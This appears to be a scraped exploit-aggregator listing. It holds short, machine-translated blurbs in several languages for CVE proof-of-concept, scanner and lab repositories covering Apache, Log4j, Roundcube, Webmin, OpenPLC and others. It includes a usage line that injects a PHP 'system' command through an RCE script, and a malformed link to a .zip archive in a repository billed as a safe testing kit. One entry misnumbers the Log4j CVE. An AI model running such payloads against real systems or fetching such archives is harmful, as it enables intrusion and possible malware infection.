masta-cve-2026-48907

MASTA CVE-2026-48907 Scanner Einzelfeld, eigenständiger Scanner für Joomla! JCE Editor Autor: Hussein Mohamed masta ghimau !CAUTION 🚨 HAFTUNGSAUSSCHLUSS — VOR DER VERWENDUNG LESEN DIES IST EIN INTRUSIVES SICHERHEITSTEST-TOOL. root@kitploit: DIESES TOOL IST AUSSCHLIESSLICH FÜR AUTORISIERTE...

APACHE-PATH-TRAVERSAL-RCE-CVE-2021-41773-

CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE Progetto di ricerca educativo. Tutti i test sono stati eseguiti in un laboratorio Docker isolato. Non utilizzare contro sistemi che non possiedi. Riepilogo della vulnerabilità...

w3-total-cache-cve-2013-2010

w3-total-cache-cve-2013-2010 w3 total cache cve 2013-2010에서 원격 코드 실행 사용법: python3 w3tcrceexploit.py -u http://example.com -p "system'whoami';" 출력: Targeting: http://example.com + Payload sent successfully. + Check the target for execution of the payload. import requests import argparse def...

CVE-2025-41243-Vulnerability-Lab

CVE-2025-41243: Spring Cloud Gateway RCE Lab Descrizione della vulnerabilità Spring Cloud Gateway presenta una vulnerabilità di iniezione di espressioni SpEL; quando l'endpoint Actuator è abilitato, un attaccante può ottenere l'esecuzione remota di codice RCE. Avvio docker-compose up -d...

cdt-vulnsamba-deploy

CDT Team Delta - Distribuzione Samba Vulnerabile Panoramica Questo repository è un deployment basato su Ansible di un server Samba vulnerabile affetto da CVE-2017-7494, una vulnerabilità critica di esecuzione remota di codice. Dovrebbe essere distribuito per il team Delta durante la fase Grey Tea...

CVE-2025-49113-Roundcube-RCE-PHP

CVE-2025-49113-Roundcube-RCE-PHP Roundcube Webmail versões 1.5.0 até 1.6.10 Este é um exploit reescrito para funcionar com PHP. Uso root@kitploit: php CVE-2025-49113.php...

CVE-2023-50164-Apache-Struts-RCE

CVE-2023-50164: vulnerabilità di path traversal in Apache Struts che porta a RCE Una vulnerabilità di sicurezza critica, identificata come CVE-2023-50164 CVE: 9.8, è stata trovata in Apache Struts e consente agli aggressori di manipolare i parametri di upload dei file, il che può potenzialmente...

CVE-2019-15107

CVE-2019-15107 Implementazione in Python dell'exploit RCE backdoor di Webmin 1.890-1.920 CVE-2019-15107 Basato sul modulo Metasploit per lo stesso exploit EDB ID: 47230 L'exploit è per lo più automatico. Vedi ./CVE-2019-15107.py --help per l'intera gamma di opzioni Avvertenza: Il codice in questo...

CVE-2025-14598

CVE-2025-14598 CVSS: 9.8 Injeção de SQL Remota Não Autenticada levando a Execução Remota de Código. Resumo Executivo Uma vulnerabilidade de Injeção de SQL foi identificada na funcionalidade de login do BET e-Portal, uma solução de software amplamente implantada em instituições de ensino para gest...

CVE-2025-55182-Auto-Scanner

CVE-2025-55182 Scanner è uno strumento ad alte prestazioni per rilevare endpoint vulnerabili delle Server Action di Next.js. Utilizza scansione multi-thread, rilevamento basato sulla confidenza e molteplici indicatori di risposta per identificare potenziali vulnerabilità di Remote Code Execution...

CVE-2026-23744-MCPJam-Exploit

CVE-2026-23744 MCPJam Inspector RCE एक्सप्लॉइट ⚠️ अस्वीकरण यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। अनधिकृत उपयोग अवैध है। उपयोगकर्ता अपने कार्यों की पूरी जिम्मेदारी लेते हैं। 📋 अवलोकन इस रिपॉजिटरी में CVE-2026-23744 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जो MCPJa...

THM---Solar-exploiting-Log-4j

THM---Solar-exploiting-Log-4j Questa stanza si basa sullo sfruttamento della famigerata vulnerabilità Log4j CVE-2021-44228, nota anche come Log4Shell. La debolezza consente agli attaccanti di eseguire codice in remoto tramite l'iniezione di payload malevoli nei messaggi di log. TASK 1 –...

n8n-CVE-2025-68613

🔥 n8n CVE-2025-68613 — Forschung zur Remote-Code-Ausführung Dieses Repository enthält eine vollständige Sicherheitslückenforschung, Exploit-Methodik, Detektionstechnik und eine TryHackMe-Komplettlösung für CVE-2025-68613 , eine kritische Remote-Code-Ausführungs-Sicherheitslücke in der...

cve-2021-44228-log4j-exploits

CVE-2021-4428 पुनरुत्पादन यह डेमो Log4j2 अत्यधिक-जोखिम वाले RCE भेद्यता CVE-2021-4428 के पुनरुत्पादन के लिए है, जिसका उद्देश्य इस भेद्यता की गंभीरता को समझना और आपके सिस्टम की स्थिति के अनुसार लक्षित बचाव करना है। चेतावनी यह डेमो केवल तकनीकी अनुसंधान के उद्देश्य से है, इसमें दूरस्थ कंप्यूटर पर...

CVE-2013-4710-WebView-RCE-Vulnerability

CVE-2013-4710-WebView-RCE-Schwachstelle Beschreibung der Schwachstelle Häufig wird WebView verwendet, um eine Webseite anzuzeigen. Viele Anwendungen nutzen dies beispielsweise, um die Serversteuerung zu ermöglichen. Viele Ergebnis-Seiten sind Webseiten statt lokaler Implementierungen, was viele...

cve-2024-38063-detection-mitigation-system

CVE Sistema di Rilevamento e Mitigazione delle Vulnerabilità Autore: Rohit Malik | Dominio: Cybersecurity | Tipo: Progetto Accademico di Gruppo | Scopo: Portfolio e Educativo Panoramica Questo progetto è un'implementazione di cybersecurity di gruppo focalizzata sul rilevamento e la mitigazione di...

CVE-2025-54424

https://raw.githubusercontent.comhophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip CVE-2025-54424: 1Panel RCE स्कैनर और प्रयोगशालाओं के लिए सुरक्षित परीक्षण किट CVE-2025-54424 1Panel में एक दोष है जो क्लाइंट प्रमाणपत्र को बायपास कर संभावित रूप से रिमोट कोड एग्ज़ीक्यूशन का कारण बन सकता है। यह...

CVE-2025-2783

Chromium CVE-2025-2783: Escape dalla Sandbox & Exploit RCE a Catena Completa Questo repository contiene un'implementazione di exploit a catena completa per CVE-2025-2783. La vulnerabilità risiede nel layer di comunicazione Ipcz di Chromium, consentendo a un attaccante di ottenere escape dalla...

cve-2021-31630

本脚本可自动利用 OpenPLC Web Server v3 中的漏洞。 您将能够与服务器建立自动反向 Shell，无需使用手动技术。 CVE-2021-31630 详情 Open PLC Webserver v3 中的命令注入漏洞允许远程攻击者通过应用程序 "/hardware" 页面上的 "Hardware Layer Code Box" 组件执行任意代码。 该脚本经过定制，完成在 OpenPLC 中的注册后，会在同一终端生成机器的 Shell。 使用以下命令（建议创建 Python 虚拟环境安装依赖项） 但是，breakerplc.py 脚本必须在虚拟环境外执行。...

CVE-2026-23918-poc

CVE-2026-23918 — Apache modhttp2 이중 해제 영향받는 버전: Apache HTTP Server 2.4.66에 modhttp2 + Event MPM 수정 버전: Apache 2.4.67 modh2 v2.0.37 CVSS 3.1: 8.8 HIGH — 인증되지 않은 원격 코드 실행 가능 CWE: CWE-415 이중 해제 취약점 개요 Apache 2.4.66의 modhttp2는 h2mplx.c:mstreamcleanup 내부에 이중 해제 버그가 있습니다. 이 문제는 클라이언트가 동일한 스트림에서 HEADERS...